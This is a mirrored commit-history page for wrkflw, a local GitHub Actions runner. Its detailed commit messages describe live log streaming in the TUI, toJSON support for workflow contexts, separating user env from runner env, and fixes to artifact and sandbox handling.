mirror of
https://github.com/bahdotsh/wrkflw.git
synced 2026-07-10 04:20:55 +02:00
ui/modernize
63 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
bahdotsh
|
31cf534625 |
feat(tui): live step view with streamed stdout/stderr
The execution tab used to stare back at you with a single progress bar while the executor did... whatever it was doing. You found out what happened when the whole workflow was over, and only then. Not great for a tool whose entire point is running workflows locally. The reason was structural. `execute_workflow` handed back one `Vec<JobResult>` at the very end, `StepStatus` only had terminal variants (Success/Failure/Skipped — no Running, no Pending), and the container runtimes read logs *after* the container exited via `wait_container` followed by `logs().collect()`. The TUI was doing the best it could with a request/response it couldn't observe. So: thread an optional event stream through the executor. New `ExecutionEvent` enum (`JobStarted`, `StepStarted`, `StepLogChunk`, `StepCompleted`, `JobCompleted`, plus `Execution*` bookends) emitted via an `EventSink` that bundles an unbounded sender with a per-run `JobId` allocator so matrix combinations get distinct ids. The TUI spawns a receiver, drains it each tick, and paints the detail view live — spinner on the running step, ✓/✖/⊘/○ everywhere else, per-step duration, and a bottom pane that tails the step's log buffer as bytes come off stdout/stderr. `f` re-engages auto-follow; any manual j/k pins you where you are. Log streaming required rewriting all four runtimes. Emulation, secure_emulation and podman move to `tokio::process::Command` with piped stdio drained via `AsyncBufReadExt::lines()` in parallel tasks. Docker is the fun one: `logs(follow: true)` now runs concurrently with `wait_container` under `tokio::join!`, instead of the old sequential wait-then-read. Chunks mirror into the sink *and* accumulate into the final `ContainerOutput` so both the live view and the post-mortem `StepResult.output` stay truthful. CLI path is unchanged — `ExecutionConfig.event_sink` defaults to `None` and the whole thing short-circuits. Reusable workflows and composite actions collapse to a single synthetic step in the event stream for v1; nested forwarding is a separate problem for another day. `StepStatus` gained `Pending` and `Running` variants with `#[non_exhaustive]` so we can add more without breaking callers again. Per-step log buffer is capped at 10k lines with a truncation marker; the Step Output pane pins to the bottom so newest-first is always visible without caring about scroll state. Two new integration tests assert event ordering (JobStarted before any of its StepStarted, StepCompleted before JobCompleted, pairs match by (job_id, step_idx)) and that \`StepLogChunk\` arrives *between* \`StepStarted\` and \`StepCompleted\`. The sink-absent path stays behaviorally identical. Please don't put back the "collect everything then show it" pattern when the executor grows new capabilities. The streaming seams are there now; use them. |
||
|
Gokul
|
7b2a27a532 |
refactor(executor): separate user env from runner env in ExpressionContext (#102)
* refactor(evaluator): add user_env field to ExpressionContext
Prior commits landed bare-context support for toJSON(steps),
toJSON(needs), toJSON(github), toJSON(secrets), and toJSON(matrix).
toJSON(env) is next — and it's the ugly one. The existing
implementation filters env_context through an is_user_env_var()
heuristic: "if the key doesn't start with GITHUB_/RUNNER_/INPUT_/
WRKFLW_ and isn't CI or MATRIX_CONTEXT, it must be user-declared."
It turns out that's wrong in both directions. A user who writes
`env: { GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} }` in their YAML —
which is the single most common pattern on planet Earth — gets their
token silently dropped from toJSON(env). Meanwhile any new runner
var that isn't on the exclusion list leaks in. Key-level guessing
can't separate the two populations after they've been merged into
one flat map. The fix has to happen at the seam.
So: add `user_env: &'a HashMap<String, String>` to ExpressionContext
alongside env_context. env_context stays as-is (it's the union, used
for dotted `env.FOO` and `github.FOO` lookups); user_env carries
only what the user declared, and that's what toJSON(env) reads.
This commit is the mechanical half. The field is wired through every
construction site, but at each production site in engine.rs we build
user_env inline by running the old heuristic against env_context —
exactly the behavior we had before, just relocated. Not pretty, but
it keeps the tree green and all 399 tests passing while the plumbing
lands. Commit 2 replaces these inline filters with a user_env that's
tracked properly through the workflow/job/step env merges and the
$GITHUB_ENV writes, and deletes is_user_env_var for good.
The test helpers (empty_ctx, make_ctx, etc.) dual-populate env_context
and user_env from the single env argument, so most tests didn't
need touching. Three toJSON(env) tests did — they were stuffing
runner vars into the same map as user vars and asserting the
heuristic filtered them, which is a thing that can't be expressed
anymore. Those now construct ExpressionContext directly with
distinct populations. While at it, the test that was literally
called tojson_env_excludes_user_var_with_internal_prefix — which
asserted the bug as if it were a feature — is inverted and renamed.
Please don't write tests that ratify bugs.
StepExecutionContext::expr_context() and expr_context_with_env()
grew a user_env_buf: &mut HashMap parameter because the returned
ExpressionContext has to borrow from somewhere, and self is
already borrowing job_env. Callers pass a local buffer. Ugly but
localized — and this too goes away in Commit 2 when the struct
carries its own user_env field.
* refactor(executor): track user_env through layered env merges
Commit 1 added the user_env field to ExpressionContext but populated
it at each construction site by re-running the same is_user_env_var()
heuristic against env_context. That was honest plumbing — it said
"here's where the field goes" without actually changing any behavior.
Now we replace the heuristic with the thing it was always pretending
to be.
The real shape is: env_context is still the union used for dotted
lookups (env.FOO, github.X). Alongside it we now carry user_env as a
parallel HashMap that is strictly what the user declared — nothing
more, nothing less. Thread it through JobExecutionContext,
MatrixExecutionContext, and StepExecutionContext, populated at the
four places where user env actually enters the system:
1. Workflow-level: seeded empty, workflow.env resolved values
get mirrored in (with the same or_insert precedence as
env_context, so workflow.env doesn't shadow runner vars).
2. Job-level: clone workflow user_env, layer container.env and
job.env on top. Runner-internal GITHUB_JOB (via
add_job_context) stays in env_context only.
3. Matrix jobs: same as job-level but skip the MATRIX_*
vars — they're runner-internal, they belong to the matrix
context, not to env.
4. Step-level: clone job user_env, layer step.env on top after
expression resolution.
And the one that mattered most: GITHUB_ENV writes from steps.
apply_step_environment_updates now mirrors env-file writes into
user_env too, because a step running 'echo FOO=bar >> GITHUB_ENV'
is user-declaring FOO by definition — otherwise a step that writes
its own FOO wouldn't see it in the next step's toJSON(env).
GITHUB_PATH updates stay out of user_env because PATH is not a
user-declared env var. There's a test for this.
With real tracking in place, is_user_env_var() is gone, along with
its environment.rs test that did nothing but rubber-stamp the
heuristic's list of prefixes. StepExecutionContext::expr_context()
and expr_context_with_env() lose the ugly user_env_buf: &mut
HashMap parameter that Commit 1 used as a bridge — they read
self.job_user_env directly now.
Two non-obvious scope decisions, both flagged in the code:
- Reusable workflows (run_called_workflow) get an empty
user_env on entry. Parent workflow.env doesn't leak across
reusable-workflow boundaries, and the called workflow's own
workflow.env isn't merged into child_env at all (that's a
pre-existing gap, not mine to fix here). Job-level env merges
still populate user_env correctly downstream.
- GitLab pipelines don't carry a workflow-level env:, so the
gitlab-path callsite also starts with empty user_env.
398 tests pass, clippy clean, fmt clean. The PR that ships this
fixes the original bug: a user who writes their GITHUB_TOKEN via
workflow/job/step env: will now actually see it in toJSON(env).
Which, let's be honest, they should have been able to see all along.
|
||
|
Gokul
|
74499d5279 |
feat(evaluator): make toJSON(matrix) return matrix object (#101)
It turns out that `toJSON(matrix)` has been returning "null" this
whole time — same disease as env, steps, needs, github, and
secrets before it. The evaluator had no bare-`matrix` branch in
ExpressionContext::resolve, so resolving the identifier fell
through to the catch-all `_ => Null` and toJSON dutifully
serialised that. Fifth and last in a series after #96/#97/#98/#99
/#100.
The fix is the obvious one. `matrix_combination` is already a
flat `&Option<HashMap<String, serde_yaml::Value>>` holding
exactly the shape real GHA exposes as the `matrix` context for a
single combination. Convert each value via the existing
`yaml_value_to_expr` helper — the same helper the dotted-access
arm already uses — so the bare and dotted forms agree on
per-value shape. Wrap the result in ExprValue::Object. Done.
One intentional asymmetry with the other bare-context arms:
when `matrix_combination` is `None` (non-matrix job), return
`Null` instead of an empty Object. `None` encodes "no matrix
context exists", which is what real GHA exposes for jobs without
a matrix strategy. `Some(empty)` — pathological but possible —
still renders as `{}`, preserving the Some-vs-None distinction
carried by the field's `Option<...>` type. There's a test
pinning each half of that split so any future change is
deliberate.
Tests mirror the #96–#100 suites: populated matrix, empty
combination, None → "null", mixed value types (string/number/
bool preserved natively, not stringified), sorted keys,
fromJSON(toJSON(matrix)) round-trip, bare-matrix truthiness in
both populated and None states, a regression guard that the
bare arm doesn't shadow the existing dotted-access arm, and a
YAML-sequence test that pins the current `yaml_value_to_expr`
fallback behaviour for non-scalar values.
While at it, drop the stale `TODO: support other bare contexts:
matrix` comment entirely. No bare contexts remain after this.
|
||
|
Gokul
|
e4752efa8e |
feat(evaluator): make toJSON(secrets) return secrets object (#100)
It turns out that toJSON(secrets) has been returning "null" this whole time — same disease as env, steps, needs, and github before it. The evaluator had no bare-`secrets` branch in ExpressionContext::resolve, so resolving the identifier fell through to the catch-all `_ => Null` and toJSON dutifully serialised that. Fourth in a series after #96/#97/#98/#99. The fix is the simplest of the bunch. secrets_context is already a flat &HashMap<String, String> holding exactly the shape real GHA exposes as the `secrets` context — no prefix strip, no exclusion list (unlike #99's github arm), no nested outputs sub-object (unlike steps/needs). Clone the entries into ExprValue::String and wrap in ExprValue::Object. Done. Values are returned in plaintext by design. That matches real GHA — `toJSON(secrets)` there is not auto-redacted either, and the common `fromJSON(toJSON(secrets))` pipe-through-an-action pattern depends on the exact original values surviving the round-trip. Masking stays where it belongs: the log boundary, via wrkflw_secrets::SecretMasker, already wired up in engine.rs. Pulling the masker into the evaluator would (a) break the fromJSON round-trip, (b) diverge from GHA semantics, and (c) duplicate a concern that already has one correct home. Please don't do that. Tests mirror the #96–#99 suites: populated secrets, empty context, sorted keys, special-character values (quotes, backslashes, PEM-style newlines), fromJSON(toJSON(secrets)) round-trip, bare-secrets truthiness, a regression guard that the bare arm doesn't shadow the existing dotted-access arm, and a plaintext-values test that pins the no-masking-here decision so any future switch is deliberate rather than silent. While at it, drop `secrets` from the lingering `TODO: support other bare contexts` comment. Only `matrix` remains. |
||
|
Gokul
|
bb55e7f30f |
feat(evaluator): make toJSON(github) return github object (#99)
* feat(evaluator): make toJSON(github) return github object
It turns out that `toJSON(github)` has been returning `null` this
whole time — same disease as `env`, `steps`, and `needs` before it.
The evaluator had no bare-`github` branch, so resolving the
identifier fell through to the catch-all `_ => Null` and toJSON
dutifully serialized that.
The fix mirrors the bare-`env` arm added in #96. There's no
dedicated `github_context` field — `env_context` is already the
source of truth for `GITHUB_*` vars, since the dotted-access arm
(`github.sha` → `GITHUB_SHA`) reads from there. So the bare case is
just the inverse mapping: iterate env_context, filter keys starting
with `GITHUB_`, strip the prefix, lowercase, and wrap it as an
Object.
Still doesn't produce a nested `event` sub-object. That's the same
documented limitation as the dotted-access path — real GHA parses
`$GITHUB_EVENT_PATH` as a full JSON payload and we approximate it
via flat env vars. Not fixing that here; it's a bigger conversation.
Add tests for the populated case, empty env, no-GITHUB-prefix,
sorted keys, truthiness of bare `github`, a regression guard so
this arm doesn't shadow dotted access, special-character values,
and a fromJSON(toJSON(github)) round-trip.
Third in a series after #96 (env), #97 (steps), #98 (needs). Same
pattern. `secrets` and `matrix` still return null — those are
next.
* refactor(evaluator): tighten toJSON(github) after review
The toJSON(github) arm that landed in the previous commit had a few
rough edges worth fixing while it's still fresh.
The .strip_prefix("GITHUB_").unwrap_or(k) was dead-branch defensive
code — the preceding .filter(...) already guarantees the prefix, so
the fallback path couldn't actually execute. That's the worst kind
of defensive code: it obscures intent without doing any work.
Replace it with a direct slice. While at it, swap to_lowercase() for
to_ascii_lowercase() since env-var keys are ASCII.
Add k.len() > PREFIX.len() to the filter so a literal GITHUB_ key
doesn't strip-become-empty and emit a {"": "..."} entry. Not because
anyone is going to set that, but because silently emitting nonsense
is worse than not emitting it.
Expand the limitation comment: user-defined env vars with the
GITHUB_ prefix (notably the common env: { GITHUB_TOKEN: ... }) will
land in the output object, and GITHUB_TOKEN surfaces as github.token
in plaintext. No masking layer exists yet. Please don't dump
toJSON(github) into untrusted sinks.
Two new tests pin the token-leak behavior and the empty-suffix
filter so any future change is deliberate.
* fix(evaluator): exclude runner-internal keys from toJSON(github)
Another round of review on the bare-github arm turned up something
worth fixing before this lands.
It turns out that environment.rs unconditionally seeds GITHUB_OUTPUT,
GITHUB_ENV, GITHUB_PATH, and GITHUB_STEP_SUMMARY into env_context —
those are local tempfile paths for the runner's file-based
workflow-command protocol. In real GHA they're invisible to
expressions; they are not members of the `github` context. The
prefix-strip heuristic was happily leaking them out as `github.output`,
`github.env`, `github.path`, and `github.step_summary`, pointing at
paths inside our temp dir.
That's a semantic divergence from real GHA *and* a minor info leak
into any log that dumps toJSON(github). Not great.
Add a tiny INTERNAL_KEYS blocklist to the filter and drop them on
the floor. While at it, collapse the manual `k.len() > PREFIX.len()
&& k.starts_with(PREFIX)` + byte-slice dance into a single
strip_prefix + filter chain — same behavior, one prefix check
instead of two, and no byte-offset slicing that depends on PREFIX
being pure ASCII.
Two new tests: one pins the internal-keys exclusion, the other
locks in the documented GITHUB_FOO contamination case so any future
switch to a curated allowlist is a deliberate change, not a silent
behavior flip.
* fix(evaluator): close the last runner-internal hole in toJSON(github)
One more pass on the bare-github arm turned up another runner-only
env var quietly slipping past the INTERNAL_KEYS blocklist, plus a
small maintenance wart worth cleaning up while we're still close to
the code.
It turns out that environment.rs also seeds GITHUB_ACTIONS=true
unconditionally, for CI-detection. Real GHA documents that one as a
default runner env var, not as a property of the `github.*` context
— there is no `github.actions`. So the previous blocklist, which
only caught the workflow-command-protocol tempfile paths
(output/env/path/step_summary), was still letting `"actions": "true"`
through. Harmless in value, but exactly the same class of shape
divergence that
|
||
|
Gokul
|
09903569eb |
feat(evaluator): make toJSON(needs) return nested needs object (#98)
* feat(evaluator): make toJSON(needs) return nested needs object Same bug that toJSON(steps) had before #97, and toJSON(env) had before #96: resolve() had no match arm for the bare "needs" identifier, so it fell through to Null. Anyone trying to dump the cross-job outputs context got "null" back. Useful. Build the shape GHA actually provides: each job ID maps to an object with "outputs" (sub-object) and "result". Merge the key sets of needs_context and needs_results so a job appears even if only one of the two has recorded something for it — same union-of-keys trick as the steps arm. Omit "result" when no result was recorded, mirroring how steps omits outcome/conclusion in that case. The only real shape difference vs. steps is the single "result" string instead of the (outcome, conclusion) pair. Tests mirror the toJSON(steps) suite: populated context, empty, sorted keys, one-sided populations, and special-character escaping. Also drops "needs" from the lingering TODO comment — github, secrets, matrix still to go. * chore(secrets): silence clippy::unnecessary_sort_by in masker Clippy 1.95 decided that `sort_by(|a, b| b.0.len().cmp(&a.0.len()))` is an unnecessary dance when `sort_by_key` with `Reverse` says the same thing in fewer tokens. CI is now `-D warnings`, so this was the difference between a green build and a red one. Swap to `sort_by_key(|pair| std::cmp::Reverse(pair.0.len()))`. Same descending-by-length order, same behavior, clippy goes quiet. Not a change anyone will miss. |
||
|
Gokul
|
dcf0696de7 |
feat(evaluator): make toJSON(steps) return nested steps object (#97)
* feat(evaluator): make toJSON(steps) return nested steps object toJSON(steps) has been returning null this whole time, which is not particularly useful when you're trying to debug a multi-step workflow and want to dump the full steps context. The resolve() method had no match arm for bare "steps" — it just fell through to the catch-all Null. Meanwhile, all the infrastructure for nested objects (ExprValue::Object, recursive expr_to_json, sorted pretty-print) was already sitting right there from the env implementation. Build the nested structure that GHA provides: each step ID maps to an object with "outputs" (sub-object), "outcome", and "conclusion". Union keys from both step_outputs and step_statuses so we don't silently drop data if a step appears in only one map. Seven new tests cover the happy path, empty context, sorted keys, status-without-outputs, outputs-without-status, truthiness, and special characters. * style(evaluator): import HashSet at top of expression.rs Move inline std::collections::HashSet usage to a top-level import for consistency with HashMap. Apply rustfmt. |
||
|
Gokul
|
100ff53167 |
fix(evaluator): make toJSON(env) return env object instead of null (#96)
* fix(evaluator): make toJSON(env) return env object instead of null
It turns out that `toJSON(env)` has been returning the string "null"
this whole time. The reason is straightforward: `ExprValue` had no
concept of an object — only strings, numbers, booleans, and null.
When the evaluator saw bare `env` (no dot, no property), it fell
through every match arm and landed on the catch-all `Null`. Then
toJSON happily serialized that to "null".
Add an `Object(HashMap<String, ExprValue>)` variant to `ExprValue`.
When `resolve()` encounters bare `env`, it now builds an Object from
env_context, filtering out system-injected keys (GITHUB_*, RUNNER_*,
INPUT_*, WRKFLW_*, CI). The toJSON function serializes Object values
as sorted, pretty-printed JSON to match real GitHub Actions behavior.
* fix(evaluator): clean up toJSON(env) Object variant plumbing
The previous commit added ExprValue::Object and wired it into
resolve() for bare `env` context. It worked, but it had a few
things that were *not great*.
The inline env-var filter (six separate prefix/name checks) was
duplicated knowledge about which vars the executor injects, buried
inside resolve() where nobody would think to update it when a new
internal prefix is added. Extract it into is_user_env_var() so
there's exactly one place to maintain.
The Vec of entries was sorted by key and then collected into a
HashMap, which — in case anyone needs reminding — does not preserve
insertion order. The sort was pure theatre. Remove it; toJSON
already re-sorts via BTreeMap when serializing.
While at it, add a test for the empty-env edge case (all vars are
internal) to make sure we get "{}" and not something surprising.
* fix(evaluator): use proper JSON serialization for toJSON(env) objects
The toJSON() serializer for Object values was using
to_output_string() to convert values before feeding them to
serde_json. That works fine *today* because all env values happen
to be strings, but it means nested objects would serialize as the
hilariously unhelpful "[object Object]" instead of actual JSON.
Switch to a proper expr_to_json() converter that maps ExprValue to
serde_json::Value recursively, so nested objects actually survive
serialization. While at it, stop fully-qualifying HashMap when it's
already imported — that's just noise.
Add a test for the completely-empty env context edge case, because
apparently nobody thought to check what happens when there are
literally zero environment variables.
* docs(evaluator): document is_user_env_var heuristic limitations
The is_user_env_var filter uses prefix matching to separate
user-declared env vars from runner-injected ones, but env_context
is a single flat HashMap that mixes both. This means a user who
writes `env: { GITHUB_CUSTOM: "val" }` gets silently excluded from
toJSON(env) output.
This is not great, but the proper fix — separating user env from
runner env upstream in ExpressionContext — is a larger refactor.
For now, document the limitation so nobody has to rediscover it the
hard way, add a test that pins the current (incorrect) behavior,
and drop a TODO for the other bare contexts (github, secrets,
matrix, steps, needs) that still return null under toJSON().
* fix(evaluator): harden Object variant and is_user_env_var heuristic
The is_user_env_var heuristic was living in blissful isolation from
the code that *actually injects* the internal env vars. If someone
added a new prefix in create_github_context without updating the
filter, internal vars would silently leak into toJSON(env) output
and nobody would know until a user complained.
Add a cross-module test that constructs the full github context and
asserts every single key is filtered by is_user_env_var. If the two
get out of sync, the test will scream. Make is_user_env_var
pub(crate) so the environment module can reach it.
While at it, add an explicit Object arm to expr_cmp instead of
relying on the catch-all — because "it happens to work" is not the
same as "it's correct." Also call out GITHUB_TOKEN in the doc
comment since that's the most likely real-world victim of the
heuristic.
Add tests for fromJSON/toJSON round-trip, special characters in env
values, and Object ordering comparisons.
* fix(evaluator): fix Object string coercion and tidy up review issues
to_output_string() for ExprValue::Object was returning "[object
Object]", which is what JavaScript does but *not* what GitHub Actions
does. GHA coerces objects to their JSON representation in string
contexts (e.g. ${{ env }}), so returning a JS-ism here would silently
produce garbage output for anyone relying on string interpolation of
context objects.
While at it, document the MATRIX_CONTEXT exclusion in is_user_env_var
so nobody has to go hunting for where it's inserted (it's
add_matrix_context() in environment.rs), and rename the misleadingly
named "roundtrip" test to what it actually tests — that
fromJSON(toJSON(env)) produces parseable JSON, not that it does a
true semantic roundtrip.
|
||
|
Gokul
|
530a709652 |
fix(executor): populate workflow-level env in expression context (#95)
* fix(executor): populate workflow-level env in expression context
It turns out that `WorkflowDefinition` simply *didn't have* an `env`
field. Serde was silently discarding the workflow-level `env:` block
during YAML deserialization, so `${{ env.GLOBAL_VAR }}` evaluated to
empty string while `$GLOBAL_VAR` in shell commands worked fine —
because the OS environment got the vars, but the expression evaluator
never did.
Job-level and step-level env worked correctly because the `Job` and
`Step` structs both had their `env: HashMap<String, String>` fields.
The workflow-level struct just... didn't. For absolutely no reason.
Add the missing `env` field to `WorkflowDefinition` and merge it into
`env_context` right after `create_github_context()`, before job-level
env is applied. This gives correct precedence: step > job > workflow,
matching GitHub Actions behavior.
* fix(executor): harden workflow-level env precedence and add expression resolution
The previous commit added workflow-level env to the expression
context, but it used insert() which means a workflow that defines
env: { CI: "false" } would *override* the built-in GITHUB_*/CI
variables from create_github_context(). That is not great.
Real GitHub Actions never lets workflow env stomp on runner-provided
builtins. Switch to entry().or_insert() so workflow env only fills
in keys that aren't already set.
While at it, workflow-level env values containing ${{ }} expressions
(e.g. ${{ github.repository }}) were being inserted raw without
resolution. Job and step env both resolve expressions — workflow
env should too. Add the same preprocess_expressions() pass.
Add three tests covering: builtin var protection, workflow-vs-job
precedence, and expression substitution in workflow env values.
|
||
|
Gokul
|
b711e871f7 |
fix(executor): propagate composite action outputs back to caller (#94)
* fix(executor): propagate composite action outputs back to caller
It turns out that execute_composite_action() was happily running all
the internal steps of a composite action, correctly tracking their
outputs in composite_step_outputs, and then... just throwing all of
that away. The action.yml `outputs:` section — the whole reason
composite actions *have* a return path — was never read or evaluated.
So ${{ steps.my-composite.outputs.whatever }} always resolved to
empty string. Inputs worked fine. The internal steps ran fine. The
output values were right there in memory. Nobody bothered to connect
the last wire.
Add propagate_composite_outputs() which reads the action's outputs
section after the step loop, evaluates each value expression against
the composite's internal step context, and writes the results to the
caller's GITHUB_OUTPUT file. The existing apply_step_environment_updates
pipeline then picks them up naturally — no changes to StepResult or
process_outcome needed.
Also wire this into the early-return failure path so partial outputs
are still available when a composite step fails.
* fix(executor): pass actual job status to composite output propagation
The previous commit (
|
||
|
Gokul
|
a668d815c4 |
fix: artifact actions under --runtime emulation (#93)
* test(executor): cover run-step → upload/download-artifact handoff under emulation
Drive a real EmulationRuntime through execute_step for three steps (run,
upload-artifact, download-artifact) and assert the payload round-trips
byte-for-byte. Reproduces #88: today the run step writes via the
GITHUB_WORKSPACE reroute while upload reads ctx.working_dir, so the two
workspaces diverge and the upload fails with "No files found matching
pattern".
Test is intentionally failing at this commit; the fix follows.
* runtime(container): add resolve_host_working_dir helper
Introduces a pure function that rebases a container-visible working
directory onto its host-side volume source by finding the longest
component-boundary prefix in the volumes list and grafting the suffix.
This is the building block for making non-container runtimes
(emulation, secure_emulation) honor the same mount semantics as docker,
so a run: step and an artifact handler observe the same host workspace
(fix for #88). The helper itself is pure and pub(crate); wiring follows
in the next commit.
Component-boundary matching (via Path::strip_prefix) ensures
/github/workspace-foo is not matched by a /github/workspace mount.
* fix(runtime): emulation honors volume mounts for working dir (#88)
EmulationRuntime::run_container now rebases a container-visible
working directory onto its host-side volume source via
resolve_host_working_dir, matching the mount semantics docker already
provides. The old GITHUB_WORKSPACE / CI_PROJECT_DIR reroute is gone:
the volumes parameter is authoritative, and calling with a container
path that no volume covers is now a hard error instead of a silent
substitution.
This makes `run:` steps and artifact/cache handlers observe the same
host workspace, fixing the reported symptom where upload-artifact
returned "No files found matching pattern" because the run step had
written through the reroute to the real project directory while the
upload was searching the per-job tempdir.
Also adjust the #88 regression test to use a glob pattern compatible
with the `glob` crate's handling of trailing `**` (which matches zero
components in that position). The pattern quirk is orthogonal to #88;
tracking fixing artifact glob semantics separately.
* fix(runtime): secure_emulation honors volume mounts; sandbox runs in-place (#88)
Brings SecureEmulationRuntime and the Sandbox under the same mount
contract as EmulationRuntime and docker: a container-visible working
dir is rebased via `resolve_host_working_dir` onto its host-side volume
source, and the command is executed directly in that host path.
The Sandbox used to copy files into its own private workspace and run
there, so nothing the caller's `run:` step wrote was visible to any
subsequent artifact/cache handler — the same #88 symptom that hit
plain emulation, just via a different mechanism. The copy dance was
also not a meaningful security layer; validation comes from
`validate_command` (command whitelist, dangerous patterns) and
`is_env_var_safe` (env filtering), which still run.
Removed: Sandbox::setup_sandbox_environment, copy_safe_files,
is_path_allowed, should_skip_file, should_skip_directory, and the
`workspace: TempDir` field. Removed the file-filtering test that
covered only the deleted copy path. Added two targeted tests for the
new rebase behavior and the error-when-no-volume-covers path.
Uncovered container working dirs now fail loudly with
"not covered by any volume mount" instead of silently running in an
incorrect location.
* refactor(runtime): centralize rebase helper and tighten semantics
PR #93 landed the #88 fix, but review pointed out three things
I'd missed, and they're the kind that turn into the next bug
report if you leave them alone.
First: both EmulationRuntime and SecureEmulationRuntime did
`if working_dir.exists() { use it } else { rebase via volumes }`.
That's the wrong way around. If a dev happens to have a real
`/github/workspace` directory on their host — containerized dev
env, weird NFS mount, somebody being creative — the short-circuit
silently skips the rebase and we're right back to two workspaces
disagreeing about where files live. The whole point of the #88
fix is that the volume mapping is *authoritative*. Flipping the
branch order makes it actually authoritative: the volume wins
first, and we only fall back to \`working_dir\` as-is when no
volume claims it.
Second: ~50 lines of near-identical rebase + create_dir_all +
log + error boilerplate sat duplicated in two runtimes. The next
fix would get applied to one file and not the other. Extracted
into a single \`rebase_working_dir_or_error\` helper in
container.rs. Both call sites collapse to one line.
Third: SandboxConfig was still carrying \`allowed_read_paths\` and
\`allowed_write_paths\` fields that nothing reads. The old
\`is_path_allowed\` that used to check them is gone. Leaving dead
fields on a type named \`Sandbox\` is worse than removing them — a
reader a year from now will assume they're enforced and ship
something based on that assumption. Please don't do that.
Deleted them, along with the factory code that was still
populating them for no reason.
While at it: documented the \`>=\` tiebreaker in
\`resolve_host_working_dir\` (equal-depth ties only happen on
duplicate volume entries, so first-wins is deliberate, not a
typo), added the matching emulation error test for symmetry
with secure_emulation, added four new unit tests for the helper,
and put a module-level doc comment on SandboxConfig explaining
what the sandbox actually enforces (command validation, not
filesystem isolation).
19/19 runtime tests (up from 14), 333/333 executor tests
including the #88 regression, workspace clippy clean.
* fix(test): skip emulation artifact roundtrip test on Windows
The artifact roundtrip test runs `bash -c "mkdir ... && echo ..."`
through EmulationRuntime, which does `Command::new("bash")`. On
Windows CI runners, this resolves to WSL's `bash.exe` sitting in
`C:\Windows\System32\`, not Git Bash. And since the runner has no
WSL distributions installed, the test blows up with a helpful
"Windows Subsystem for Linux has no installed distributions" and
a link to the Microsoft Store.
The test is inherently Unix-only — it exercises Unix shell commands
on a real EmulationRuntime. Gate it with `cfg(not(target_os =
"windows"))`.
* fix(test): skip secure_emulation rebase test on Windows
Same story as
|
||
|
Gokul
|
36c1aa16f3 |
feat(executor): add artifact, cache, secrets, and inter-job output support for GitHub Actions emulation (#88)
* feat(executor): close major GHA expression and inter-job gaps
The expression evaluator was basically living in a fantasy world
where every step succeeds, secrets don't exist in expressions,
and jobs can't talk to each other. That's not how GitHub Actions
works, and it meant a *lot* of real-world workflows would silently
produce wrong results or just fail to resolve context variables.
Here's what was broken and what's fixed:
Step outcome/conclusion were hardcoded to "success" — always.
So `if: steps.build.outcome == 'failure'` would never be true,
and `continue-on-error` semantics were completely wrong.
ExpressionContext now tracks real outcome (before continue-on-error)
and conclusion (after). The success()/failure()/cancelled() builtins
now consult actual job state instead of returning constants.
secrets.* was not available in expressions at all. You could use
SecretSubstitution for env var injection, but `if: secrets.TOKEN`
in a conditional? Nope, just resolves to null. Pre-resolve all
referenced secrets into a HashMap at job start and thread it through
the expression context. Evaluator stays synchronous.
needs.* context didn't exist. Job outputs were computed and then
thrown away — nothing flowed between job batches. Add outputs field
to JobResult, resolve job-level output mappings from step outputs,
accumulate across batches in the main execution loop, filter to
declared needs dependencies, and wire into ExpressionContext.
jobs.* context gets the same treatment for free.
While at it, add three new modules that were completely missing:
- artifacts.rs: Local ArtifactStore for actions/upload-artifact
and actions/download-artifact emulation. Filesystem-based,
Arc<RwLock> for cross-job sharing.
- cache.rs: Persistent CacheStore under ~/.wrkflw/cache/ for
actions/cache emulation. SHA-256 keyed with prefix matching
for restore-keys.
- workflow_commands.rs: Parser for ::error::, ::warning::,
::set-output::, ::add-mask::, ::group:: and friends from
step stdout. Handles stop-commands/resume semantics.
414 tests pass, 0 failures, clippy clean.
* fix(executor): fix matrix job context gaps and parameter explosion
The previous commit added expression context enrichment (secrets,
needs, step outcomes) but only wired it into the non-matrix execution
path. Matrix jobs — arguably the *most common* GHA pattern — were
silently getting empty contexts for everything. So secrets.* in a
matrix job? Null. needs.* from an upstream job? Null. steps.X.outcome
after a failure? "success". Brilliant.
It gets worse. Job outputs were keyed by job_result.name, which for
matrix jobs is the display name ("build (os: ubuntu)") rather than
the canonical job key ("build"). Since build_needs_context looks up
by the canonical name from job.needs, matrix job outputs were being
accumulated and then *never found* by downstream jobs.
While at it, unknown step IDs were defaulting to "success" instead
of null, which means `steps.nonexistent.outcome == 'success'` was
true. That's not how GitHub Actions works.
Here's what's fixed:
- Thread secrets, needs context, and step status tracking through
MatrixExecutionContext into execute_matrix_job. Pre-resolve secrets
once before the parallel fan-out, not per-combination.
- Add canonical_name field to JobResult and key the accumulation maps
by it. Matrix combinations use last-write-wins, matching GHA.
- Track step_status_map and job_status_str in the matrix step loop,
mirroring what execute_job already does.
- Resolve job outputs in execute_matrix_job instead of returning
an empty HashMap.
- Thread secrets into execute_composite_action (GHA composites
inherit the calling workflow's secrets).
- Fix unknown step ID fallback from "success" to Null.
- Refactor preprocess_expressions (10 params → 3) and
evaluate_condition_with_context (9 params → 2) to accept
ExpressionContext directly. Every new context dimension was
requiring changes to 30+ call sites. Not anymore.
274 tests pass, clippy clean.
* fix(executor): address review findings from GHA emulation PR
The previous two commits closed a bunch of GHA expression gaps, but
the review turned up several things that shouldn't ship as-is.
The worst offender: execute_composite_action was passing
step_statuses: &HashMap::new() and job_status: "success" as
*constants* into every step execution. So steps.X.outcome inside
a composite action? Always Null. success()/failure()? Always
true/false. Composite actions with conditional steps based on
prior step results were quietly broken.
Fix that by tracking composite_step_statuses and
composite_job_status within the composite loop, same pattern as
execute_job and execute_matrix_job.
While at it:
- Extract record_step_status() to deduplicate ~15 identical lines
of StepStatus-to-string conversion + map insertion that were
copy-pasted between execute_job and execute_matrix_job. Those
were one edit away from diverging.
- Derive Copy on StepStatus (it's a fieldless enum — cloning it
was just noise) and add Display so we stop writing the same
match arm in three places.
- Pass actual job_status_str into resolve_job_outputs instead of
hardcoding "success". If a job output expression references
success()/failure(), it should get the real answer.
- Change CacheStore::new() from Option<Self> to Result<Self, String>
so callers can actually tell *why* cache init failed instead of
getting a silent None.
- Downgrade artifacts and cache modules from pub to pub(crate) —
they're not wired into the engine yet, so exposing them as public
API is just asking for someone to depend on an unstable interface.
- Replace Box::leak in expression.rs tests with lazy_static
constants. The leaks were harmless in practice but fragile if
anyone ever puts empty_ctx() in a loop.
274 tests pass, clippy clean.
* feat(executor): wire up artifact, cache, and workflow command modules
